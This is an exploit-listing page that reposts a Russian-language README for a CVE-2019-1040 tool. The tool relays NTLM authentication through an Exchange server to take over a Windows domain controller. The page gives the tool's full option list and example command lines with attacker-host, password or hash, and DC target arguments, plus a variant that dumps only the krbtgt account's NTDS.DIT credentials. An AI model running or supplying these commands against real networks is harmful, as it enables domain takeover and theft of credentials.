Sploitus

Exploit for CVE-2019-1040

kitploit · 2026-08-31

Exploit Code

MARKDOWN79 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RIDTER-CVE-2019-1040
# CVE-2019-1040

Отличная статья! Эксплуатация CVE-2019-1040 - Комбинирование уязвимостей relay для RCE и администратора домена .

Так что я написал CVE-2019-1040.py для простоты использования.

Также вы можете посмотреть мой репозиторий exchange2domain: https://github.com/ridter/exchange2domain, другой способ использования exchange для получения DC.

## Требования

Эти инструменты требуют impacket. Вы можете установить его из pip с помощью `pip install impacket`.

## Использование

root@kitploit:~
    
    
    usage: CVE-2019-1040.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD]
                            [--hashes HASHES] [--smb-port [destination port]] -ah
                            ATTACKER_HOST [-ap ATTACKER_PORT] -th TARGET_HOST
                            [-t TIMEOUT]
                            [--exec-method [{smbexec,wmiexec,mmcexec}]]
                            [--just-dc-user USERNAME] [--debug]
                            EX_HOSTNAME
    
    CVE-2019-1040 with Exchange
    
    positional arguments:
      EX_HOSTNAME           Hostname/ip of the Exchange server
    
    optional arguments:
      -h, --help            show this help message and exit
      -u USERNAME, --user USERNAME
                            username for authentication
      -d DOMAIN, --domain DOMAIN
                            domain the user is in (FQDN or NETBIOS domain name)
      -p PASSWORD, --password PASSWORD
                            Password for authentication, will prompt if not
                            specified and no NT:NTLM hashes are supplied
      --hashes HASHES       LM:NLTM hashes
      --smb-port [destination port]
                            Destination port to connect to SMB Server
      -ah ATTACKER_HOST, --attacker-host ATTACKER_HOST
                            Attacker hostname or IP
      -th TARGET_HOST, --target-host TARGET_HOST
                            Hostname or IP of the DC
      -t TIMEOUT, --timeout TIMEOUT
                            timeout in seconds
      --exec-method [{smbexec,wmiexec,mmcexec}]
                            Remote exec method to use at target (only when using
                            -use-vss). Default: smbexec
      --just-dc-user USERNAME
                            Extract only NTDS.DIT data for the user specified.
                            Only available for DRSUAPI approach.
      --debug               Enable debug output
    

пример:

root@kitploit:~
    
    
    python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip 
    python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip 
    

Если вы хотите выгрузить только `krbtgt`, используйте `--just-dc-user`.

пример:

root@kitploit:~
    
    
    python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip  --just-dc-user krbtgt
    python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip --just-dc-user krbtgt
    

![](https://assets.kitploit.com/production/public/readmes/20150/c124816de921cb392c6b432b8322cea6c11db974dc32011c2e8a4fda68bbe806.jpg)